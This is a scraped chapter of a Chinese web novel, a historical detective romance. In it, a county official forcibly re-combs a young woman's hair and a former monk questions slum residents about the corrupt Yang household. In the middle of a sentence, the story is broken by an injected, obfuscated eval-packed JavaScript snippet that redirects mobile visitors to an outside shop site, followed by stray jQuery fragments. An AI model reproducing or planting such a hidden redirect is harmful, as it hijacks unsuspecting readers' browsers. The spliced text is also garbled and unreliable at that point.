文趣网 > 其他小说 > 我成嫌疑人了?!(探案) > 28. 第三章第一回:轻浮男
    解烦司驻点。

    柳贼曹见到了传说中的解烦司右部督,和所有第一次见到他的人一样,第一反应是震惊于其绝世容颜,第二反应是暗道这真是酷吏吗?

    “柳承节?”宛若女子的男人开口了,一双桃花眼微微眯起,自下而上看向柳循,“坐。”

    “陆部督,您有何时。”

    “羊氏的事情,殿下特地让我介入,让我回去前,务必解决掉这个麻烦。我听他们说,羊氏的检举信是你写的。”说到这里时,陆部督瞥了眼伫立在旁的驻点成员,“只是很遗憾,上周,御书房起了大火,你的检举信被烧得差不多了。不知道你是否还能找到具体的证据。”

    “起火?”柳贼曹眉头一皱,“谁干的?”

    “还在调查。”

    柳贼曹思索片刻:“我记忆很好,写过的内容大致记得,再默写一份出来不是什么问题,但我当时随信笺附上的羊氏的纸页……”

    “……很遗憾,确实不见了。”

    柳贼曹闻之,重重地叹出口气。那羊氏何其狡猾,对于任何进出羊宅的人都格外戒备。若是其他人也就罢了,羊氏的父兄在世时,算是个有私兵的小军阀,和县长、县丞关系颇好。强行进入会被那两人施压给县尉府,他这个贼曹掾无数次都因为这个原因,被迫放弃抓捕。

    这份证据,还是他买通了县里一个身手矫健的小偷,才让其偷出来的。

    即使能再找一次那小偷,证据也已经没有了,需要重新寻找。

    “这事可难办了。”

    “不方便进去?”陆部督轻声道完,歪了歪头,“缺理由?”

    “是。”

    陆部督莞尔一笑:“这好办,我们解烦司查到,昨晚城中村发生骚乱,有三个人从中逃出,其中一人受伤流血,你猜怎么着。这三个人,在这之后去的地方,正是羊宅。”

    ……

    羊宅。

    虞捷太过好奇,随便扒了两下头发,就钻到了门口,正准备打听情况,领头的男人就看到了她。

    “你是何人?我没在城里见过你。”

    “虞女郎?”领头男人旁边的男人,却一眼认出了她。

    虞捷转头看去,那人竟然是有过一面之缘的解烦司右部督,陆延。

    “您认识?”嘴上这么问,柳贼曹的目光,却一直停留在她毛毛躁躁、没有梳整齐的头发上。越看,他越难受。怎么能这么随便就出来见人了。

    陆延简单地介绍了一句:“之前跟你说的纵火案,她是第一发现者,不过已经洗脱嫌疑了。虞女郎,这位是本地的贼曹掾柳循,今天跟我一起来的。”

    说完,他的目光落在她身前的衣服上,眯起眼睛:“但我记得你家贫困,不怎么有钱,这次又是跟着松嘉树出来的,怎么会在羊氏的家里,还穿的和个女主人似的。”

    可不是嘛,这衣服就是原本的女主人的。

    “穿的和女主人一样,头发却一点没打理,”柳循终于是忍不住了,“羊氏怎么回事,侍女呢?赶紧去给人收拾,别偷懒。”

    在别人家门口自作主张的语气,听的虞捷很是难受,偏偏这人似乎完全没觉得自己有错,一本正经,就让她更不舒服了。

    本来月事这几天脾气就不好。

    “你就算是贼曹掾,你也没资格使唤别人家的侍女吧!再说了,我的头发怎么了,又不是给你看的,我都不难受。”

    “我难受。”

    “那你憋着。”

    “憋不了。”

    说完,那人竟然大步走到虞捷身前,抬手一扯。

    只是被简单挽起的头发瞬间如飞瀑般,倾泻而下。

    虞捷猛地就要抬起手去挡,却被他有些强硬地按住肩膀,硬生生将她掰得背过身去,背朝他而立。

    “你你你你你你是贼曹掾了不起吗!你这是——”

    虞捷正要说出更尖锐的话,带着茧的大手的手指,却伸入她的发丝中,一缕缕往下顺,被卡主时,一双手都伸了上来,解开头发上的死结。

    如此亲昵的动作,他一点没把自己当外人。

    她愣住了。

    身后又是一阵脚步声,似乎是侍女递来了头梳,柳循就保持着这个诡异的姿势,在众目睽睽之下,把她没有梳好的头发重新梳了一遍,甚至娴熟地给她扎了个猫耳发型。

    做完这一切,他才满意地把她转过来,点点头,归还头梳:“果然这个发型很合适。”

    这人怎么回事啊!他一个男人怎么会这么熟悉女孩子的发型!到底是给多少女孩子编过!

    虞捷目瞪口呆,暗中呐喊,手里还揣着柳循塞回来的头梳。

    “柳贼曹这么多年,都没有被人骂过轻浮吗?”

    “有,但是我不理解为何。”柳循觉得,自己只是在做正确的事情。

    “噗嗤。”陆议笑出了声,绝世笑颜,惹得周围人一阵恍惚。

    柳循收回注意:“说回正题。我们接到报案,说昨夜在城中村附近出现伤员,血渍一路到了这里,我们想知道发生了什么。”

    血渍?

    虞捷的脸噌地就红了。

    “姑娘这是知道?”

    “呃,知道。”但这话要她怎么说,月事血崩当着这么多人的面说吗?那也太糟糕了吧。

    谁都好,救救她。

    绝望时刻,一个声音从街道上传来:“一大早的,这是做什么呢?”

    声音的主人径直走入,看见虞捷的猫耳造型时,动作一滞,片刻后又恢复自如,笑着和她挥手:“早上好,小捷。”

    ……

    天还未亮,松桔就行了。陌生的环境里,哪里能安睡,一觉醒来就想带虞捷走,可穿过耳房与主卧相连的门,透过床帘的缝隙,正好能看见她熟睡的面容。

    只见她仰面躺着,嘴唇泛着点自然的粉,身上的被子随着她平稳的呼吸,上下起伏,被子上方,露出一截白皙的脖颈,看的松桔的喉结不自觉地滚了滚。

    他赶紧别开眼,不敢再看。

    昨晚她拖着月事的身子,又是山路又是逃命,不知道有没有落下病根,就算回了山上的寺里又能如何?寺里那个条件哪里比得上羊昱的家里,不,准确来说,这都不仅叫“家”,完全可以说是“宅”。

    还是让她休息好了再回山上吧。读书也不差这一两天。

    想到这里,松桔最终将手收了回去,放弃叫虞捷起床的打算。

    倒是昨晚追着虞捷的那股杀意,他必须去调查一下。

    起初以为是自己返俗之前得罪过的人发现他回来了,但虞捷和羊昱开始逃跑时,杀意却放过了他。

    到底是谁对虞捷有这么深的恶意,或者,那个恶意是冲着羊昱去的?

    松桔的余光瞥向耳房里打呼噜的羊昱。

    于是,他换

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647310|206323||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了衣服,回到耳房里,朝着羊昱的床板踢了一脚,见鼾声骤停,知道对方醒了。

    语气放缓,面带微笑,先道歉,再表诚意,最后提出要求:“羊公子,无意打扰您的睡眠,我想出门散个步,就是怕等下回来时,府上的人不认得我,麻烦你给个信物?”

    羊昱揉了揉眼睛,打了个哈欠,倒也干脆,喊来宅里的总管,给了松桔一块羊氏的符牌,就算是帮忙了。

    趁着时间尚早,松桔跑了一趟山中寺,和寺里解释自己和虞捷要暂时住在山下后,又轻快地回到了县城中,跑上跑下,一个时辰过去,气都不带喘。

    昨夜一片漆黑、显得格外空旷的街道,到了早上,也开始热闹起来。

    买了两个包子当早饭,一边吃一边向前。县城的主街还算繁华,商铺林立,行人往来。但越往偏走,光景的差距就越大,砖瓦房也换成了土坯房。

    两个包子吃完时,他的脚步停在了城中村入口。

    这个时辰,大多人家都已经出门上工了,只有零星几户门口坐着人,看见他这个生面孔,眼神都透着股警惕。

    “阿婆,我想问您点事情,您别紧张,我也是本地人。”松桔自然地将官话调整回夹杂着方言的口音。

    这一招对拉近距离十分有效。

    择菜的老妇人眼底的警惕散去了一些:“什么事?”

    “我听说,咱这里对那户姓羊的,很有意见?哦,我有个朋友也住这里,早上我看他上工的时候一直在骂个什么姓‘羊’的?但我问他发生了什么,他又不说,还大发雷霆,你看这事儿闹得。”

    松桔蹲下身,帮老妇人把择好的菜放进篮子里。

    “你朋友不说,你来问我有什么用?”

    “别啊,阿婆,我这不是在想,万一还有谁也让这里人都厌恶,我下次又惹他生气了,那可咋整,是吧。”

    松桔娴熟地堆出亲切的笑脸,声音里的音调也轻轻上浮,活脱一个好奇旺盛的年轻人。

    听了这番话后,阿婆嗤笑出声,放下手中的菜叶,一甩手,看向城区:“那姓羊的,就不是个好东西!好多年前,这城刚归入陛下统治,那姓羊的就把我们骗进来,说给他做工就是给陛下效力,月钱少不了,逢年过节还有赏,遇到灾年还开仓放粮。”

    “结果呢?”松桔顺着她的话往下问。

    “结果就是屁!他家老子和长兄在世时,倒把我们当成部曲,带着男人们建功立业,大家的生活都很好。结果陛下五六年前征兵,老子长兄都战死了,就剩个没出息的二儿子,靠着他爹他哥的名声,捡了个骑都尉和屯田都尉。

    “自从他接手,日子一天不如一天。自己没本事,不想交部曲的税,就把我们都扔了。自己过得风生水起,我们的性命,根本不管了!

    “前年闹旱灾,姓羊的,一个屯田都尉,根本不放粮,去找他,还说什么,寺院归县里管,寺院给了就是他们给了。那是寺院的香火钱换的粮,跟他姓羊的有什么关系!”

    “这么坏呢。”松桔顺着老妇人的话往下说,“那你们没想过反抗?”

    “反抗了啊,有什么用,你看我们这位置,三面都是城,背后是山,我们在里面喊得再大声,也进不了县城里那些人的耳朵。那没用的二儿子每次看我们暴乱,就只敢往县丞那里报,说我们是暴民,要叛乱。把几个领头的青壮抓去坐牢、去充军,到现在都没放出来。”